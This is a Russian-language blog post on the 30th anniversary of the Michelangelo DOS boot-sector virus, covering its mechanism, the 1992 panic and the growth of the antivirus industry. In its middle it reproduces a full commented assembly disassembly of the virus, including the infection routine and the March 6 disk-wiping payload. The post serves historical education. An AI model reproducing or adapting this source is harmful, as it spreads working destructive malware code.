Вирусу Микеланджело — 30 лет

Michelangelo — первое вредоносное ПО, которое получило широкую огласку в новостных СМИ. Одним из первых его заметил владелец компьютерного магазина в австралийском Мельбурне. После установки нескольких программ на мониторе появилось большое количество странных символов. Дальнейшее расследование показало, что он невольно загрузил вирус в систему. 6 марта 1992 года вирус активировался, перезаписав данные на жёстком диске компьютеров, которые были заражены.

Исследователи выяснили, что Michelangelo заражал загрузочные сектора гибких дискет и жёстких дисков. Интересно, что весь год DOS-вирус вёл себя пассивно, вредя людям только 6 марта. Если компьютер в этот день был выключен, с ним ничего не происходило. Каждый год в этот день при загрузке инфицированной системы «Микеланджело» записывал произвольные данные в случайном порядке на диск и тем самым выводил компьютер из строя. Поскольку 6 марта — день рождения великого художника эпохи Возрождения Микеланджело, вирус был назван в его честь. Другие его названия: Stoned.March6.a и Stoned.Michelangelo

Никто так и не узнал, кто написал вирус. Предполагается, что он появился где-то на Тайване, но убедительных доказательств этому так и не было. Выяснилось, что Michelangelo уничтожает загрузочные сектора дисков, что, в свою очередь, приводит к уничтожению данных на диске и жёстком диске компьютера.

Принцип работы

«Микеланджело» — вирус загрузочного сектора, разновидность вредоносного ПО, которое заражает загрузочный сектор жёсткого диска или, что более важно, основную загрузочную запись (MBR) жёсткого диска. Вирус был разработан для заражения DOS систем и работал на уровне BIOS. Заразив компьютер AT или PS/2, Michelangelo перезаписывал первые сто секторов жёсткого диска нулями.

Микеланджело был основан на вирусе Stoned , который известен с 1987 года и также известен под названием Marijuana или New Zealand Virus. Код вируса был изменён, чтобы антивирусные программы не могли его распознавать.

При работе с заражённым носителем данных Микеланджело резервирует два килобайта системной памяти по адресу 40h: 13h. Затем код вируса копируется в эту область. При наличии жёсткого диска вирус считывает MBR и проверяет, не заражён ли он. Затем, Микеланджело сравнивает первые 4 байта главного загрузочного сектора с первыми байтами своего собственного кода. Если они не совпадают, вирус пытается заразить устройство.

• На жёстких дисках вирус перемещает исходную главную загрузочную запись в цилиндр 0, головку 0, сектор 7.

• На гибких дисках, если диск равен 360 КБ, вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 3.

• На других дисках вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 14.

Хотя вирус предназначен для заражения DOS-систем, он может легко разрушить другие операционные системы, поскольку заражает главную загрузочную запись жёсткого диска. Как только компьютер заражается  любая вставленная дискета, на которую выполняется запись (в 1992 году вирус не мог заразить дискету до тех пор, пока не будет дан доступ к диску), также немедленно заражается. А поскольку вирус проводит большую часть своего времени в спящем состоянии, активируясь только 6 марта, вполне возможно, что заражённый компьютер мог годами оставаться незамеченным — до тех пор, пока не будет включён шестого марта.

; This is a disassembly of the much-hyped michelangelo virus. ; As you can see, it is a derivative of the Stoned virus.  The ; junk bytes at the end of the file are probably throwbacks to ; the Stoned virus.  In any case, it is yet another boot sector ; and partition table infector.  michelangelo    segment byte public assume  cs:michelangelo, ds:michelangelo ; Disassembly by Dark Angel of PHALCON/SKISM org     0  jmp     entervirus highmemjmp      db      0F5h, 00h, 80h, 9Fh maxhead         db      2                       ; used by damagestuff firstsector     dw      3 oldint13h       dd      0C8000256h  int13h: push    ds push    ax or      dl, dl                  ; default drive? jnz     exitint13h              ; exit if not xor     ax, ax mov     ds, ax test    byte ptr ds:[43fh], 1   ; disk 0 on? jnz     exitint13h              ; if not spinning, exit pop     ax pop     ds pushf call    dword ptr cs:[oldint13h]; first call old int 13h pushf call    infectdisk              ; then infect popf retf    2 exitint13h:     pop     ax pop     ds jmp     dword ptr cs:[oldint13h]  infectdisk: push    ax push    bx push    cx push    dx push    ds push    es push    si push    di push    cs pop     ds push    cs pop     es mov     si, 4 readbootblock: mov     ax,201h                 ; Read boot block to mov     bx,200h                 ; after virus mov     cx,1 xor     dx,dx pushf call    oldint13h jnc     checkinfect             ; continue if no error xor     ax,ax pushf call    oldint13h               ; Reset disk dec     si                      ; loop back jnz     readbootblock jmp     short quitinfect        ; exit if too many failures checkinfect: xor     si,si cld lodsw cmp     ax,[bx]                 ; check if already infected jne     infectitnow lodsw cmp     ax,[bx+2]               ; check again je      quitinfect infectitnow: mov     ax,301h                 ; Write old boot block mov     dh,1                    ; to head 1 mov     cl,3                    ; sector 3 cmp     byte ptr [bx+15h],0FDh  ; 360k disk? je      is360Kdisk mov     cl,0Eh is360Kdisk: mov     firstsector,cx pushf call    oldint13h jc      quitinfect              ; exit on error mov     si,200h+offset partitioninfo mov     di,offset partitioninfo mov     cx,21h                  ; Copy partition table cld rep     movsw mov     ax,301h                 ; Write virus to sector 1 xor     bx,bx mov     cx,1 xor     dx,dx pushf call    oldint13h quitinfect: pop     di pop     si pop     es pop     ds pop     dx pop     cx pop     bx pop     ax retn entervirus: xor     ax,ax mov     ds,ax cli mov     ss,ax mov     ax,7C00h                ; Set stack to just below mov     sp,ax                   ; virus load point sti push    ds                      ; save 0:7C00h on stack for push    ax                      ; later retf mov     ax,ds:[13h*4] mov     word ptr ds:[7C00h+offset oldint13h],ax mov     ax,ds:[13h*4+2] mov     word ptr ds:[7C00h+offset oldint13h+2],ax mov     ax,ds:[413h]            ; memory size in K dec     ax                      ; 1024 K dec     ax mov     ds:[413h],ax            ; move new value in mov     cl,6 shl     ax,cl                   ; ax = paragraphs of memory mov     es,ax                   ; next line sets seg of jmp mov     word ptr ds:[7C00h+2+offset highmemjmp],ax mov     ax,offset int13h mov     ds:[13h*4],ax mov     ds:[13h*4+2],es mov     cx,offset partitioninfo mov     si,7C00h xor     di,di cld rep     movsb                   ; copy to high memory ; and transfer control there jmp     dword ptr cs:[7C00h+offset highmemjmp] ; destination of highmem jmp xor     ax,ax mov     es,ax int     13h                     ; reset disk push    cs pop     ds mov     ax,201h mov     bx,7C00h mov     cx,firstsector cmp     cx,7                    ; hard disk infection? jne     floppyboot              ; if not, do floppies mov     dx,80h                  ; Read old partition table of int     13h                     ; first hard disk to 0:7C00h jmp     short exitvirus floppyboot: mov     cx,firstsector          ; read old boot block mov     dx,100h                 ; to 0:7C00h int     13h jc      exitvirus push    cs pop     es mov     ax,201h                 ; read boot block mov     bx,200h                 ; of first hard disk mov     cx,1 mov     dx,80h int     13h jc      exitvirus xor     si,si cld lodsw cmp     ax,[bx]                 ; is it infected? jne     infectharddisk          ; if not, infect HD lodsw                           ; check infection cmp     ax,[bx+2] jne     infectharddisk exitvirus: xor     cx,cx                   ; Real time clock get date mov     ah,4                    ; dx = mon/day int     1Ah cmp     dx,306h                 ; March 6th je      damagestuff retf                            ; return control to original ; boot block @ 0:7C00h damagestuff: xor     dx,dx mov     cx,1 smashanothersector: mov     ax,309h mov     si,firstsector cmp     si,3 je      smashit mov     al,0Eh cmp     si,0Eh je      smashit mov     dl,80h                  ; first hard disk mov     maxhead,4 mov     al,11h smashit: mov     bx,5000h                ; random memory area mov     es,bx                   ; at 5000h:5000h int     13h                     ; Write al sectors to drive dl jnc     skiponerror             ; skip on error xor     ah,ah                   ; Reset disk drive dl int     13h skiponerror: inc     dh                      ; next head cmp     dh,maxhead              ; 2 if floppy, 4 if HD jb      smashanothersector xor     dh,dh                   ; go to next head/cylinder inc     ch jmp     short smashanothersector infectharddisk: mov     cx,7                    ; Write partition table to mov     firstsector,cx          ; sector 7 mov     ax,301h mov     dx,80h int     13h jc      exitvirus mov     si,200h+offset partitioninfo ; Copy partition mov     di,offset partitioninfo      ; table information mov     cx,21h rep     movsw mov     ax,301h                 ; Write to sector 8 xor     bx,bx                   ; Copy virus to sector 1 inc     cl int     13h ;*              jmp     short 01E0h db      0EBh, 32h               ; ?This should crash? ; The following bytes are meaningless. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h partitioninfo:  db      42h dup (0) michelangelo    ends end

Истерия в обществе

Поскольку опасность была вовремя обнаружена, «Микеланджело» не вызвал заметных проблем в год своего открытия. Постепенно он распространился по всему миру. Исследования в Европе показали, что вирус в основном распространялся через диски с драйверами для компьютерной техники из Восточной Азии, и по мере приближения 6 марта 1992 года среди владельцев и пользователей компьютеров царила нарастающая истерия. 

Это была бомба замедленного действия, которую легко было описать в новостях. И эта история стала идеальным сюжетом для запугивания публики. Принял участие в запугивании публики и Джон Макафи, который заявил в интервью, что сотни тысяч компьютеров по всему миру станут 6 марта жертвами Michelangelo.Совет по борьбе со зловредом был весьма необычным: пользователям рекомендовали не включать компьютер 6 марта или перевести дату сразу на седьмое марта.

Хотя компьютеры в те времена были далеко не у всех, существовал большой спрос на детекторы вирусов и антивирусное ПО. Компьютерные магазины предлагали эти программы бесплатно, как и некоторые вузы. Гамбургский университет насчитал более 20 000 запросов на такие программы за несколько недель до 6 марта 1992 года. 

Особенно активно следили за происходящим в Германии и США. Федеральное управление по информационной безопасности (BSI) в период с 17 февраля 1992 г. по 1 марта 1992 г. приняло около 1000 звонков по общим и конкретным вопросам, касающимся компьютерных вирусов и антивирусных программ. Было вынесено официальное предупреждение об угрозе. В феврале 1992 года появилась инструкция по защите от Микеланджело.

До «дня X» Michelangelo поразил 1300 компьютеров в ФРГ, но эксперты считают, что реальное число в 10 раз больше. Никто не знает, сколько ПК пострадало во всем мире. 6 марта 1992 г. утренние новости в Германии сообщили о первых инцидентах с вирусом в Уругвае. Системное время на некоторых военных компьютерах было установлено неправильно, поэтому полезная нагрузка Микеланджело сработала преждевременно. Также известно, что вирус вызвал потерю данных примерно на 1500 компьютерах в Германии. Сообщается, что в Великобритании пострадали 117 ПК. В Соединённых Штатах, где истерия была самой большой, зафиксировано около 7000 жалоб. McAfee сообщила о почти 10 000. В Южной Африке обнаружили около 1000 заражённых компьютеров в аптеках, который получали прейскуранты в электронном виде. Оптовик как обычно отправил им дискеты, которые оказались заражены вирусом.

В целом, панические настроения не оправдались, всё прошло относительно спокойно. Symantec AntiVirus Research Center утверждает, что после 6 марта 1992 года известно всего о двух случаях заражения компьютеров Michelangelo. По другим данным, в Германии зафиксировали 50 инцидентов с вирусом в 1993 году и менее 20 — в 1994 году.

«Микеланджело» не был первым компьютерным вирусом. Но стал первым, кто заставил широкую общественность узнать о хаосе, который могут вызвать вредоносные программы. Это событие стало мощным толчком к зарождению полноценной антивирусной индустрии. Например, компания McAfee привлекла инвестиции в размере 42 млн долларов, а владельцы компьютеров по всему миру бросились скупать антивирусные продукты McAfee.

P.S. Возможно, вы заметили, что в фильме «Хакеры» 1995 фигурирует вирус «Да Винчи» — название явно было отсылкой к Michelangelo.

Что ещё интересного есть в блоге Cloud4Y

→ История Game Genie — чит-устройства, которое всколыхнуло мир

→ Сделайте Linux похожим на Windows 95

→ Как не позволить техническому долгу одолеть вас

→ WD-40: средство, которое может почти всё

→ 30 лучших Python-проектов на GitHub на начало 2022 года

Подписывайтесь на наш Telegram-канал, чтобы не пропустить очередную статью. Пишем только по делу.